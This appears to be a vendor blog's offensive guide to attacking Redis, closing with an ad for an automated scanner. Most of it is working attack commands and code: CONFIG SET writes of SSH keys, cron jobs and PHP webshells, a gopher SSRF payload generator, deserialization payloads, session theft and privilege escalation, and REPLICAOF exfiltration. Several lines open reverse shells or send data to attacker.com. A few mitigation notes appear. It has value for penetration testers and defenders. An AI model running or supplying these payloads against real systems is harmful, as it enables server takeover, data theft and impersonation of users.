Redis Security Testing: Unauthenticated Access, RCE, and Session Hijacking

Redis is everywhere. It runs as a session store behind Laravel, Express, and Django applications. It acts as a task queue for Celery and Sidekiq workers. It caches database query results, rate-limiting counters, and JWT tokens. It backs Pub/Sub pipelines, leaderboards, and real-time analytics. And in a significant number of production deployments, it is completely unauthenticated and reachable from the internet.

The combination of widespread deployment, default no-auth configuration, and powerful server-side capabilities makes Redis consistently one of the highest-impact findings in external penetration tests. This guide covers the full attack surface: how to find exposed instances, how to escalate unauthenticated access to remote code execution, how to extract session data and pivot into application accounts, and how to test the newer attack vectors that appear in Redis 6+ deployments.

Unauthenticated Redis Discovery

Redis listens on TCP port 6379 by default. Before Redis 3.2, the default configuration bound to all interfaces (0.0.0.0). Even after the 3.2 hardening guidance, Docker deployments frequently re-expose Redis to the network by publishing the port without adding a requirepass directive or firewall rule.

Nmap Detection

A basic service version scan will identify Redis and sometimes reveal the server version, which matters for determining which attack paths are available:

# Detect Redis on default port
nmap -sV -p 6379 target.example.com

# Scan for Redis across a subnet
nmap -sV -p 6379 --open 192.168.1.0/24

# Use the nmap Redis NSE script for deeper enumeration
nmap -p 6379 --script redis-info target.example.com

# Scan non-standard ports that Redis is sometimes configured on
nmap -sV -p 6379,6380,6381,7379 target.example.com

The redis-info script will run INFO against unauthenticated instances and return server version, OS, connected clients, keyspace statistics, and memory usage — all without credentials.

Direct Connection Test

If you can reach port 6379, the fastest check for unauthenticated access is a simple PING:

# Test for unauthenticated access
redis-cli -h target.example.com ping
# Expected response on open instance: PONG

# If authentication is required, you'll receive:
# (error) NOAUTH Authentication required.

# Test with a common default or weak password
redis-cli -h target.example.com -a "" ping
redis-cli -h target.example.com -a "redis" ping
redis-cli -h target.example.com -a "password" ping
redis-cli -h target.example.com -a "123456" ping

Once unauthenticated access is confirmed, enumerate the server configuration and data before attempting any write-based attacks:

# Get server metadata
redis-cli -h target INFO server
redis-cli -h target INFO clients
redis-cli -h target INFO memory
redis-cli -h target INFO keyspace

# Read the full configuration (reveals dir, dbfilename, bind addresses)
redis-cli -h target CONFIG GET *

# List all keys in the default database (destructive on large keystores — use SCAN instead)
redis-cli -h target KEYS "*"

# Production-safe key enumeration via SCAN (cursor-based, non-blocking)
redis-cli -h target SCAN 0 COUNT 100

# Read a specific key
redis-cli -h target GET session:abc123

# List key types to understand what's stored
redis-cli -h target TYPE session:abc123

Mass Scanning via Shodan and Censys

Bug bounty hunters and attackers routinely use Shodan and Censys to find Redis instances exposed to the internet at scale:

# Shodan search queries for Redis
product:"Redis"
port:6379 product:"Redis" country:"NL"
port:6379 "redis_version" -"requirepass"

# Censys query
services.port=6379 AND services.software.product="Redis"
Docker Port Publishing — Silent Exposure Running docker run -p 6379:6379 redis publishes the port to all host interfaces, including external ones, regardless of whether requirepass is set inside the container. This is the most common cause of internet-exposed Redis instances. The fix is to bind to localhost explicitly: -p 127.0.0.1:6379:6379.

Redis RCE via CONFIG Command

The most impactful attack against an unauthenticated Redis instance is using the CONFIG SET command to redirect the RDB persistence file to a sensitive system directory, then writing attacker-controlled data and triggering a SAVE. Because Redis writes the RDB file as the user it runs as — often root in Docker deployments — this can overwrite or create arbitrary files on the host filesystem.

Writing SSH Authorized Keys

If Redis is running as root and the /root/.ssh/ directory exists, you can inject your public key into authorized_keys:

# Generate an SSH key pair on the attacker machine
ssh-keygen -t rsa -b 4096 -f /tmp/redis_rsa -N ""

# Wrap the key in newlines to avoid corrupting the file with RDB framing bytes
(echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/redis_payload.txt

# Upload the payload to Redis
redis-cli -h target SET payload "$(cat /tmp/redis_payload.txt)"

# Redirect the save path to the SSH authorized_keys location
redis-cli -h target CONFIG SET dir /root/.ssh/
redis-cli -h target CONFIG SET dbfilename authorized_keys

# Trigger the file write
redis-cli -h target SAVE

# Connect using the injected private key
ssh -i /tmp/redis_rsa root@target

The newlines around the key are necessary because Redis RDB files contain binary header and footer data. The authorized_keys parser ignores lines it cannot parse as valid key entries, so the garbage bytes surrounding the actual key are tolerated.

Writing Cron Jobs

For systems where the SSH directory is inaccessible or Redis is not running as root, writing a cron job to /var/spool/cron/crontabs/root (Debian/Ubuntu) or /var/spool/cron/root (CentOS/RHEL) is an alternative path to code execution:

# Write a reverse shell cron job
redis-cli -h target CONFIG SET dir /var/spool/cron/crontabs/
redis-cli -h target CONFIG SET dbfilename root
redis-cli -h target SET payload "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
redis-cli -h target SAVE

# Start a listener on your attack machine
nc -lvnp 4444

On CentOS/RHEL systems, the crontab directory differs:

# CentOS/RHEL crontab path
redis-cli -h target CONFIG SET dir /var/spool/cron/
redis-cli -h target CONFIG SET dbfilename root

Writing PHP Webshells

If the Redis server is on the same host as a PHP web application, or if the web root is a network share accessible to Redis, writing a PHP webshell is a reliable code execution path:

# Write a PHP webshell to the web root
redis-cli -h target CONFIG SET dir /var/www/html/
redis-cli -h target CONFIG SET dbfilename shell.php
redis-cli -h target SET payload "\n\n<?php system(\$_GET['cmd']); ?>\n\n"
redis-cli -h target SAVE

# Trigger the webshell
curl "http://target.example.com/shell.php?cmd=id"
Mitigation: Rename or Disable the CONFIG Command In redis.conf, the rename-command directive can rename or disable dangerous commands. Setting rename-command CONFIG "" completely disables it. Alternatively, rename it to an unguessable string: rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52. Production deployments should also set requirepass, bind to 127.0.0.1, and run Redis as a non-privileged user.

SSRF via Gopher Protocol to Redis

Even when Redis is bound to 127.0.0.1 and not directly reachable, a Server-Side Request Forgery vulnerability in the same application can be used to reach it via the gopher:// protocol. The gopher scheme sends raw bytes to the target socket, allowing an attacker to craft arbitrary Redis commands without needing redis-cli.

How Gopher-to-Redis Works

Redis uses the RESP (REdis Serialization Protocol) for command framing. A command like SET key value looks like this in RESP:

*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n

The gopher URL format is gopher://host:port/_<data> where the data is URL-encoded. Combining these, an SSRF vulnerability that supports gopher:// can send arbitrary Redis commands to the local Redis instance:

gopher://127.0.0.1:6379/_%2A3%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Akey%0D%0A%245%0D%0Avalue%0D%0A

Generating Gopher Payloads

Building gopher payloads by hand is error-prone. This Python script generates a URL-encoded gopher payload from a list of Redis commands:

#!/usr/bin/env python3
"""
Generate gopher:// payloads for SSRF-to-Redis attacks.
Usage: python3 redis_gopher.py
"""

def encode_resp(commands):
    """Encode a list of Redis commands into RESP format."""
    result = ""
    for cmd in commands:
        parts = cmd.split()
        result += f"*{len(parts)}\r\n"
        for part in parts:
            result += f"${len(part)}\r\n{part}\r\n"
    return result

def gopher_encode(resp_payload):
    """URL-encode a RESP payload for use in a gopher:// URL."""
    encoded = ""
    for char in resp_payload:
        if char == '\r':
            encoded += "%0D"
        elif char == '\n':
            encoded += "%0A"
        elif char == ' ':
            encoded += "%20"
        elif char in '!#$&\'()*+,/:;=?@[]':
            encoded += f"%{ord(char):02X}"
        else:
            encoded += char
    return encoded

# Commands to execute via SSRF → Redis
commands = [
    "CONFIG SET dir /var/www/html",
    "CONFIG SET dbfilename shell.php",
    "SET payload \n\n\n\n",
    "SAVE"
]

resp = encode_resp(commands)
encoded = gopher_encode(resp)
print(f"gopher://127.0.0.1:6379/_{encoded}")

Tools like Gopherus automate this process and include pre-built payloads for Redis, MySQL, FastCGI, and other internal services commonly reached via SSRF.

Testing SSRF-to-Redis Chains

When testing a web application for SSRF, always probe for an internal Redis instance alongside the standard cloud metadata endpoints:

# Test if Redis is reachable at localhost via SSRF
# (use a Collaborator/interactsh server to detect out-of-band DNS first)
http://localhost:6379/
http://127.0.0.1:6379/

# If the application supports gopher://, attempt a PING command
gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0APING%0D%0A

# Some WAFs block gopher:// — try case variations
GOPHER://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0APING%0D%0A
gopher://127.0.0.1:6379//_%2A1%0D%0A%244%0D%0APING%0D%0A
SSRF + Redis = Instant RCE The SSRF-to-gopher-to-Redis chain is one of the fastest paths from SSRF to full server compromise. An SSRF finding that can reach an internal unauthenticated Redis instance and supports gopher:// should be treated as a critical severity — equivalent to direct RCE — because the CONFIG SET attack chain requires only four Redis commands to write a webshell or cron backdoor.

Redis Deserialization Attacks

Many frameworks serialize complex objects before storing them in Redis, and deserialize them on retrieval. If an attacker can write to Redis — either through unauthenticated access or by poisoning a cache key via SSRF — they can inject a malicious serialized payload that triggers code execution when the application deserializes the cached value.

PHP Unserialize and Laravel Cache

Laravel's cache driver serializes PHP objects using serialize() before storing them in Redis. If the application uses Cache::get() on a key that an attacker controls, it will call unserialize() on the retrieved value. The phpggc tool generates gadget chains for common PHP frameworks:

# Generate a Laravel RCE gadget chain (writes a file via file_put_contents)
phpggc Laravel/RCE1 system "id > /tmp/pwned"

# Generate a Symfony gadget chain
phpggc Symfony/RCE4 exec "curl attacker.com/$(hostname)"

# Write the serialized payload into the target cache key
PAYLOAD=$(phpggc Laravel/RCE1 system "bash -i >& /dev/tcp/attacker.com/4444 0>&1")
redis-cli -h target SET "laravel_cache:config_data" "$PAYLOAD"

To find the right cache key, enumerate keys matching Laravel's default prefix:

# Laravel cache keys use a hash of the key name with a prefix
redis-cli -h target KEYS "laravel_cache:*"
redis-cli -h target KEYS "*_cache*"

# Check what the application stores
redis-cli -h target SCAN 0 MATCH "*" COUNT 50

Python Pickle Deserialization

Python applications using pickle.loads() on Redis-cached data are vulnerable to arbitrary code execution. Pickle deserialization is inherently unsafe for untrusted data — the format supports a __reduce__ method that executes arbitrary Python during deserialization:

#!/usr/bin/env python3
import pickle
import os
import redis

class ReverseShell:
    def __reduce__(self):
        cmd = "bash -i >& /dev/tcp/attacker.com/4444 0>&1"
        return (os.system, (cmd,))

# Connect and inject the malicious pickle payload
r = redis.Redis(host='target', port=6379)
malicious_payload = pickle.dumps(ReverseShell())
r.set('cached_user_profile:1001', malicious_payload)

# When the application runs:
#   user = pickle.loads(r.get('cached_user_profile:1001'))
# Code execution occurs during deserialization

Java Deserialization via Spring Session and Apache Shiro

Spring Session can store HTTP sessions in Redis as serialized Java objects. Applications using Shiro with Redis-backed session management are also vulnerable. If the application deserializes the session data from Redis on each request, writing a crafted Java gadget chain payload achieves RCE:

# Generate a Java deserialization payload using ysoserial
# Target: Spring Session in Redis (key format: spring:session:sessions:<UUID>)
java -jar ysoserial.jar CommonsCollections6 "curl attacker.com/rce" > payload.bin

# Shiro's session manager uses a different key format
# Find Shiro session keys
redis-cli -h target KEYS "shiro:session:*"

# Write the payload as the session value
# (requires encoding the binary payload correctly for redis-cli)
redis-cli -h target SET "spring:session:sessions:4b7c8d9e-1234-5678-abcd-ef0123456789" \
    "$(cat payload.bin | base64)"
Deserialization Severity Deserialization gadget chains that can be triggered via Redis require the attacker to have write access to Redis, which itself indicates a serious misconfiguration. The combined finding — unauthenticated Redis + deserialization on read — is critical severity. Even read-only access to Redis combined with a deserialization sink in the application constitutes a data exfiltration path.

Session Hijacking via Redis

Redis is the default session store for Laravel, Express.js (via connect-redis), and many Django deployments. Unauthenticated read access to Redis means an attacker can extract all active session tokens and use them to impersonate any logged-in user — including administrators.

Enumerating Sessions

Different frameworks use different key naming conventions for session storage:

# Laravel session keys (format: laravel_session:<hashed_token>)
redis-cli -h target KEYS "laravel_session:*"
redis-cli -h target SCAN 0 MATCH "laravel_session:*" COUNT 100

# Express.js connect-redis (format: sess:<session_id>)
redis-cli -h target KEYS "sess:*"
redis-cli -h target SCAN 0 MATCH "sess:*" COUNT 100

# Django cache sessions (format: django.contrib.sessions.cache<hashed_key>)
redis-cli -h target KEYS "django.contrib.sessions.cache*"

# Generic session patterns
redis-cli -h target SCAN 0 MATCH "*session*" COUNT 100
redis-cli -h target SCAN 0 MATCH "*sess*" COUNT 100

Always prefer SCAN over KEYS in production testing. The KEYS command is O(N) and blocks the Redis event loop for the full duration of the scan on large key spaces. On a Redis instance with millions of keys, a KEYS "*" can cause cascading application timeouts. Use the cursor-based SCAN command instead — it is non-blocking, returns results in batches, and is safe to run against live production instances.

Extracting and Using Session Data

# Read a specific session by key
redis-cli -h target GET "laravel_session:a1b2c3d4e5f6..."

# Laravel session data is base64-encoded and serialized
# Decode to inspect the contents
redis-cli -h target GET "laravel_session:a1b2c3d4e5f6..." | base64 -d | php -r "print_r(unserialize(file_get_contents('php://stdin')));"

# Express.js sessions are stored as JSON
redis-cli -h target GET "sess:abc123xyz"
# Output: {"cookie":{"originalMaxAge":86400000,...},"user":{"id":1,"email":"admin@example.com","role":"admin"}}

# Django sessions are encoded with base64 + HMAC signing
redis-cli -h target GET "django.contrib.sessions.cachexyz123"

For Laravel, the session token visible in the user's cookie corresponds to a Redis key. Once you have the key value, set the same session cookie in your browser to impersonate the session owner:

# Find the session key for a known session ID (from cookie)
# Laravel hashes the session ID before using it as a Redis key
# The cookie value IS the session ID — use it directly in the key lookup

# Example: Cookie header contains: laravel_session=eyJpdiI6...
# Decode the cookie to get the actual session ID, then:
redis-cli -h target GET "laravel_session:$(echo 'eyJpdiI6...' | base64 -d | jq -r '.value')"

Session Modification

With write access to Redis, session hijacking escalates to privilege escalation — you can modify session data to elevate privileges without knowing any user credentials:

# Read the current session
SESSION=$(redis-cli -h target GET "sess:victim_session_id")

# Modify the role in the JSON session data
echo $SESSION | python3 -c "
import sys, json
s = json.load(sys.stdin)
s['user']['role'] = 'admin'
s['user']['id'] = 1
print(json.dumps(s))
" | redis-cli -h target SET "sess:victim_session_id" $(cat -)

Lua Scripting Injection

Redis embeds a Lua interpreter and exposes it through the EVAL command. If any part of a Lua script executed by the server incorporates untrusted input, it may allow an attacker to break out of the intended script logic — though Redis's Lua sandbox restricts what is available to scripts.

EVAL with Untrusted Input

Redis scripts receive arguments via KEYS and ARGV arrays. The vulnerability arises when application code constructs Lua script strings dynamically using user input rather than passing user data safely through ARGV:

# Safe: user data passed via ARGV, never interpolated into script
EVAL "return redis.call('GET', ARGV[1])" 0 user_supplied_value

# VULNERABLE: user data interpolated into the Lua script string
# (application constructs this dynamically)
EVAL "return redis.call('GET', 'prefix:" .. user_input .. "')" 0

If the user input is controlled, they can break the string and inject additional Lua logic:

# Injecting Lua commands by closing the string and appending code
# user_input = "') redis.call('SET','injected','true') redis.call('GET', '"
EVAL "return redis.call('GET', 'prefix:') redis.call('SET','injected','true') redis.call('GET', '')" 0

SCRIPT LOAD and EVALSHA Cache Poisoning

SCRIPT LOAD compiles a Lua script and caches it by SHA1 hash. An attacker with write access to Redis can pre-load malicious scripts that get executed later when the application calls EVALSHA with the cached hash:

# Load a malicious Lua script (attacker-controlled)
redis-cli -h target SCRIPT LOAD "redis.call('SET', 'backdoor', 'active'); return 1"
# Returns the SHA1: e.g., "abc123def456..."

# List all cached scripts
redis-cli -h target SCRIPT EXISTS abc123def456...

# Flush all cached scripts (disruptive — use with caution)
redis-cli -h target SCRIPT FLUSH

Lua Sandbox Limitations

Redis's Lua environment intentionally omits many standard Lua libraries (io, os, socket) to prevent filesystem access and network calls from within scripts. Sandbox breakout attempts via Lua are not practically exploitable in standard Redis deployments — the primary risk is untrusted input being interpolated into script strings, enabling Lua logic injection rather than OS-level escape.

Redis ACL Bypass (Redis 6+)

Redis 6 introduced Access Control Lists (ACLs), allowing fine-grained permissions per user: which commands they can run, which keys they can access, and which pub/sub channels they can subscribe to. Misconfigurations in ACL rules are a common finding in Redis 6+ deployments.

Enumerating ACL Configuration

# List all configured users and their ACL rules
ACL LIST
# Output: user default on nopass ~* &* +@all
# Output: user app-user on >strongpassword ~app:* -@dangerous +GET +SET +DEL

# Check which user you are currently authenticated as
ACL WHOAMI

# Get details on a specific user
ACL GETUSER default
ACL GETUSER app-user

# Log recent ACL violations (useful for both offense and defense)
ACL LOG
ACL LOG COUNT

Common ACL Misconfigurations

The most common finding is the default user left with full permissions and no password:

# Secure default user (properly hardened)
user default off nopass ~* &* -@all

# VULNERABLE — default user has all permissions with no password:
user default on nopass ~* &* +@all

# Partially restricted but still dangerous — allows CONFIG:
user app on >password ~app:* +@all -@dangerous
# Note: @dangerous doesn't include CONFIG in all Redis versions
ACL Category Coverage Gap In Redis 6.0 and 6.2, the @dangerous command category does not include all dangerous commands consistently across versions. Always verify exactly which commands are allowed by running ACL GETUSER <username> and checking the command list explicitly, rather than relying on category labels.

Testing ACL Bypass

# After authenticating as a restricted user, test for privilege escalation
AUTH app-user password

# Check your own permissions
ACL WHOAMI
ACL GETUSER app-user

# Attempt to run a command outside your allowed set
CONFIG GET dir
# Should return: (error) NOPERM this user has no permissions to run the 'config|get' command

# Test key access outside your allowed pattern
GET admin:secret_key
# Should return: (error) NOPERM No permissions to access a key

# Test if you can read other users' ACL rules
ACL LIST
# Restricted users should see only their own entry

Redis Sentinel and Cluster Security

High-availability Redis deployments use Sentinel (for automatic failover) or Redis Cluster (for horizontal sharding). Both introduce additional attack surface that is often overlooked because the sentinel/cluster ports are considered internal-only infrastructure.

Redis Sentinel Unauthenticated Access

Redis Sentinel listens on port 26379 by default. Like Redis itself, Sentinel historically had no authentication in default configurations. An attacker with access to Sentinel can enumerate the full topology, trigger failovers, and in some configurations issue commands to member instances:

# Connect to Redis Sentinel
redis-cli -h target -p 26379

# Enumerate monitored masters
SENTINEL masters

# Get replicas for a specific master
SENTINEL replicas mymaster

# Get the current master address
SENTINEL get-master-addr-by-name mymaster

# Trigger a failover (disruptive — demonstrates impact)
SENTINEL failover mymaster

SLAVEOF/REPLICAOF for Data Exfiltration

The REPLICAOF command (formerly SLAVEOF) configures Redis replication. An attacker with write access to an instance can make it replicate to their own Redis server, causing a full data dump to be transmitted:

# On the attacker's machine, start a Redis server to receive replication data
redis-server --port 6380 --daemonize yes

# On the target (unauthenticated), point replication at the attacker's server
REPLICAOF attacker.com 6380

# The full RDB snapshot is transferred to attacker.com:6380
# Check the received data on the attacker's machine
redis-cli -p 6380 KEYS "*"
redis-cli -p 6380 DEBUG RELOAD  # Force RDB reload to see all keys

# Stop replication after exfiltration
REPLICAOF NO ONE

Cross-Cluster Data Access

In Redis Cluster deployments, hash slots are distributed across multiple nodes. If the cluster nodes are individually accessible, enumerating each node directly may reveal data stored in hash slots not normally accessible through the cluster's routing:

# Get cluster topology
redis-cli -h target -c CLUSTER NODES
redis-cli -h target -c CLUSTER INFO

# Connect directly to individual cluster nodes (bypass routing)
redis-cli -h node1 -p 7000 KEYS "*"
redis-cli -h node2 -p 7001 KEYS "*"

RESP Protocol Injection

The Redis Serialization Protocol (RESP) is a text-based protocol that uses \r\n (CRLF) as a delimiter. If application code constructs Redis commands by string concatenation with user-supplied data — rather than using parameterized commands through a proper Redis client library — an attacker can inject RESP control characters to execute arbitrary additional commands.

How RESP Protocol Works

RESP encodes commands as arrays of bulk strings. A two-argument command looks like:

*2\r\n          ; array of 2 elements
$3\r\n          ; first element is 3 bytes
GET\r\n
$8\r\n          ; second element is 8 bytes
username\r\n

If a Redis client library constructs this string by naive concatenation and the user supplies input containing \r\n, they can inject a second complete command after the legitimate one.

CRLF Injection Leading to Redis Command Execution

# Vulnerable application pseudocode (Python, not using proper parameterization):
key = request.args.get('key')  # User-controlled
cmd = f"*2\r\n$3\r\nGET\r\n${len(key)}\r\n{key}\r\n"
sock.send(cmd.encode())

# Attack: inject a CRLF sequence in the key parameter to append a second command
# key = "legit_key\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$10\r\n/tmp/evil/\r\n"
# The server receives two separate valid RESP messages

Modern Redis client libraries (redis-py, node-redis, Jedis, StackExchange.Redis) handle RESP framing internally and do not allow injection through normal parameterized API calls. The vulnerability arises when developers write raw socket code or use unsafe string interpolation to construct RESP manually.

Web Cache Poisoning via Shared Redis Caches

When multiple applications share a Redis instance as a cache backend and use predictable cache keys, one application's ability to write cache entries can be used to poison another application's cache. This is particularly relevant in multi-tenant environments and microservice architectures:

# Enumerate cache keys used by different services
redis-cli -h target SCAN 0 MATCH "*" COUNT 100 | grep -v "^[0-9]"

# Look for cache keys that embed URL paths or request parameters
# These may be writeable via one service and consumed by another
redis-cli -h target KEYS "cache:*"
redis-cli -h target KEYS "page:*"
redis-cli -h target KEYS "api:*"

# Write a poisoned cache entry for a URL that another service will render
redis-cli -h target SET "cache:/admin/users" '{"users":[{"id":1,"role":"admin","email":"attacker@evil.com"}]}'

Enumeration Quick Reference

Use this table as a rapid checklist when you have access to a Redis instance and need to assess scope quickly:

Check Command What to Look For
Unauthenticated access? redis-cli -h target ping PONG = no auth required
CONFIG accessible? CONFIG GET * No error = RCE path open
Server running path? CONFIG GET dir Writable web root = webshell
Running as root? INFO serveros: Check config_file path
Active keyspaces? INFO keyspace Which DB indices have data
Session keys present? SCAN 0 MATCH "*sess*" COUNT 50 Active session tokens
Connected clients? CLIENT LIST Application IPs and ports
Memory usage? INFO memory Scale of data stored
Replication status? INFO replication Master/replica topology
ACL configured? ACL LIST Default user has full perms?
Dangerous commands available? DEBUG SLEEP 0 No error = @dangerous enabled
Lua scripting enabled? EVAL "return 1" 0 Returns integer 1 = enabled

Complete Assessment Workflow

# Phase 1: Discovery
nmap -sV -p 6379,6380,26379 target.example.com

# Phase 2: Authentication check
redis-cli -h target ping
redis-cli -h target -a "" ping

# Phase 3: Server reconnaissance (if unauthenticated)
redis-cli -h target INFO all > redis_info.txt
redis-cli -h target CONFIG GET "*" > redis_config.txt

# Phase 4: Data enumeration
redis-cli -h target SCAN 0 COUNT 100      # Key enumeration
redis-cli -h target INFO keyspace          # Active databases
redis-cli -h target SELECT 1               # Check non-default databases (0-15)
redis-cli -h target SELECT 2
redis-cli -h target DBSIZE                 # Total key count

# Phase 5: Impact assessment
# Can we write files?
redis-cli -h target CONFIG SET dir /tmp/test_$(date +%s)
# Can we write crons?
redis-cli -h target CONFIG SET dir /var/spool/cron/crontabs/
# Are sessions present?
redis-cli -h target SCAN 0 MATCH "*sess*" COUNT 100

Exposed Redis instances, session stores accessible without authentication, and SSRF-to-Redis chains are consistently found in production environments. An unauthenticated Redis instance can go from discovery to remote code execution in under five minutes using nothing more than redis-cli and the CONFIG command.

Ironimo scans for these automatically using the same tools pentesters use — checking for unauthenticated access, CONFIG command availability, exposed session keys, and SSRF vectors that reach internal Redis ports. No manual setup required.

Start free scan
← Back to Blog